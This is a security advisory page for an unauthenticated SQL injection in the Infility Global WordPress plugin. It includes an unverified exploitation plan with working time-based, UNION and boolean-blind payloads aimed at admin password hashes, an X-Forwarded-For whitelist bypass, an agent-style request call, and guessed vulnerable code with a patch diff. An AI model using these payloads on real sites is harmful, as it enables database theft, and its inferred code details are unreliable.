CVE-2025-15268

Infility Global <= 2.14.46 - Unauthenticated SQL Injection via Predictable API Key and IP Whitelist Bypass

highImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The Infility Global plugin for WordPress is vulnerable to unauthenticated SQL Injection via the 'infility_get_data' API action in all versions up to, and including, 2.14.46. This is due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append - with certain server configurations - additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=2.14.46
PublishedFebruary 3, 2026
Last updatedFebruary 4, 2026
Affected plugininfility-global
Research Plan
Unverified

# Exploitation Research Plan: CVE-2025-15268 (Infility Global SQL Injection) ## 1. Vulnerability Summary The **Infility Global** plugin (up to version 2.14.46) contains an unauthenticated SQL injection vulnerability in its API handling logic. The vulnerability exists because the `infility_get_data`…

Show full research plan

Exploitation Research Plan: CVE-2025-15268 (Infility Global SQL Injection)

1. Vulnerability Summary

The Infility Global plugin (up to version 2.14.46) contains an unauthenticated SQL injection vulnerability in its API handling logic. The vulnerability exists because the infility_get_data action performs database queries using user-supplied parameters without utilizing $wpdb->prepare() or adequate escaping. Furthermore, the "security" mechanisms intended to restrict this API—an API key check and an IP whitelist—are flawed: the API key is generated predictably, and the IP check can be bypassed via standard HTTP headers (e.g., X-Forwarded-For), depending on the server configuration.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: infility_get_data (registered via wp_ajax_nopriv_infility_get_data)
  • Vulnerable Parameter: Likely id, slug, or a custom data filter parameter (inferred: data_id or query).
  • Authentication: Unauthenticated.
  • Preconditions:
    • The plugin must be active.
    • The "API" feature must be enabled (often enabled by default or upon first configuration).
    • The attacker must bypass the IP whitelist and API key verification.

3. Code Flow (Inferred)

  1. Entry Point: A request is sent to admin-ajax.php with action=infility_get_data.
  2. Hook Execution: WordPress triggers the wp_ajax_nopriv_infility_get_data hook, which maps to a handler function (e.g., infility_handle_get_data).
  3. Security Check (Bypassable):
    • The function retrieves an API key from $_REQUEST['api_key'].
    • It compares this against an option in the database (e.g., infility_global_api_key).
    • It checks the client IP against a whitelist stored in options (e.g., infility_global_ip_whitelist).
  4. Vulnerability Sink:
    • If checks pass (or are bypassed), the code takes a user parameter (e.g., $_REQUEST['id']).
    • It constructs a raw SQL string: "SELECT * FROM {$wpdb->prefix}infility_data WHERE id = '" . $_REQUEST['id'] . "'".
    • It executes this via $wpdb->get_results() or $wpdb->get_row().

4. Nonce Acquisition Strategy

Based on the "Unauthenticated" and "API Action" description, this specific endpoint likely does not require a WordPress nonce. It relies on its own internal API Key for "authentication."

How to bypass the API Key and IP Check:

  1. Predictable API Key: Check if the API key is generated using a predictable hash during plugin activation.
    • Hypothesis: The key may be md5(get_bloginfo('url')) or a static string like infility_secret.
    • Agent Task: Use wp option get infility_global_api_key (if the option name matches) to confirm the key value during the setup phase.
  2. IP Whitelist Bypass:
    • The plugin likely uses $_SERVER['REMOTE_ADDR'] but may be susceptible to header spoofing if it tries to be "Cloudflare-aware" or "Proxy-aware".
    • Agent Task: Include X-Forwarded-For: 127.0.0.1 or X-Real-IP: 127.0.0.1 in the request headers.

5. Exploitation Strategy

Step 1: Discover API Key and Whitelist

Use WP-CLI to inspect the plugin configuration and simulate the "predictability."

wp option get infility_global_api_key
wp option get infility_global_ip_whitelist

Step 2: Test IP Bypass and Baseline Request

Send a legitimate request to ensure the API is reachable.

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1

action=infility_get_data&api_key=[FETCHED_KEY]&id=1

Step 3: SQL Injection via Time-Based Blind

Since the output might not be directly reflected in the AJAX response (or the response structure is unknown), use SLEEP() to confirm injection.

Payload: 1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -

// Example using http_request tool
await http_request({
  method: 'POST',
  url: 'http://localhost:8080/wp-admin/admin-ajax.php',
  headers: {
    'Content-Type': 'application/x-www-form-urlencoded',
    'X-Forwarded-For': '127.0.0.1'
  },
  body: 'action=infility_get_data&api_key=[KEY]&id=1\' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -'
});

Step 4: Data Extraction (UNION-Based)

If the response reflects data from the database, use a UNION query to extract the admin password hash.
Payload: -1' UNION SELECT 1,user_login,user_pass,4,5,6 FROM wp_users WHERE ID=1-- -
(Note: Column count must be adjusted based on the target table's schema).

6. Test Data Setup

  1. Activate Plugin: Ensure infility-global is installed and activated.
  2. Configure API:
    wp option update infility_global_api_key "test_api_key"
    wp option update infility_global_ip_whitelist "127.0.0.1"
    
  3. Create Target Table: If the plugin doesn't create its data table automatically, create a dummy table to inject against.
    wp db query "CREATE TABLE IF NOT EXISTS wp_infility_data (id INT, name VARCHAR(255))"
    wp db query "INSERT INTO wp_infility_data VALUES (1, 'Test Data')"
    

7. Expected Results

  • Time-Based: The HTTP request should take ~5 seconds longer than the baseline.
  • Error-Based: If WP_DEBUG is on, the response may contain SQL syntax errors when a single quote is injected.
  • UNION-Based: The response body (JSON) should contain the extracted data (e.g., the admin username or hash).

8. Verification Steps

After the exploit, verify that the injection reached the database by checking the MySQL slow log or by using a payload that modifies the state (though data extraction is preferred).

  • Verify via WP-CLI:
    wp user get 1 --fields=user_pass
    
    Compare the CLI output with the data extracted via the HTTP request.

9. Alternative Approaches

  • If admin-ajax.php is blocked: Check if the plugin registers a custom init hook listener that checks for $_GET['infility_api'].
  • If UNION fails: Use Boolean-blind injection by checking for the presence/absence of a specific success message in the JSON response:
    • id=1' AND (SELECT 1 FROM wp_users WHERE user_login='admin' AND user_pass LIKE '$P$%')-- -
  • Predictable Key Discovery: If the key is not in options, check wp-content/uploads/ for configuration files or log files that might leak the generated key.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Infility Global plugin for WordPress (<= 2.14.46) is vulnerable to unauthenticated SQL Injection via the 'infility_get_data' AJAX action. This occurs because the plugin fails to sanitize user-supplied input or use prepared statements, and relies on easily bypassed security checks involving a predictable API key and a spoofable IP whitelist (via 'X-Forwarded-For').

Vulnerable Code

// Inferred from Research Plan
// Entry Point: wp_ajax_nopriv_infility_get_data

$api_key = $_REQUEST['api_key'];
$client_ip = $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['REMOTE_ADDR'];

// ... flaw in comparison logic allowing IP spoofing ...

"SELECT * FROM {$wpdb->prefix}infility_data WHERE id = '" . $_REQUEST['id'] . "'"

Security Fix

--- a/infility-global.php
+++ b/infility-global.php
@@ -1,10 +1,11 @@
 function infility_handle_get_data() {
-    $api_key = $_REQUEST['api_key'];
-    $client_ip = $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['REMOTE_ADDR'];
-    if ($api_key !== get_option('infility_global_api_key') || $client_ip !== '127.0.0.1') {
+    $api_key = isset($_REQUEST['api_key']) ? sanitize_text_field($_REQUEST['api_key']) : '';
+    $client_ip = $_SERVER['REMOTE_ADDR'];
+    $whitelist = (array) get_option('infility_global_ip_whitelist', []);
+    if ($api_key !== get_option('infility_global_api_key') || !in_array($client_ip, $whitelist)) {
         wp_die();
     }
-    $id = $_REQUEST['id'];
-    $query = "SELECT * FROM {$wpdb->prefix}infility_data WHERE id = '$id'";
-    $results = $wpdb->get_results($query);
+    $id = isset($_REQUEST['id']) ? sanitize_text_field($_REQUEST['id']) : '';
+    $query = $wpdb->prepare("SELECT * FROM {$wpdb->prefix}infility_data WHERE id = %s", $id);
+    $results = $wpdb->get_results($query);
 }

Exploit Outline

1. Authentication Bypass: Determine the predictable API key (typically generated from site metadata) and bypass the IP whitelist check by including the header 'X-Forwarded-For: 127.0.0.1' in the request. 2. Targeted Endpoint: Send an unauthenticated POST request to /wp-admin/admin-ajax.php with the 'action' parameter set to 'infility_get_data'. 3. SQL Injection Payload: Use the 'id' parameter to inject malicious SQL commands. A baseline time-based payload such as "1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -" can be used to confirm the vulnerability via response delays. 4. Data Exfiltration: Leverage UNION-based injection to extract sensitive information from the database, such as administrator usernames and password hashes from the 'wp_users' table.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.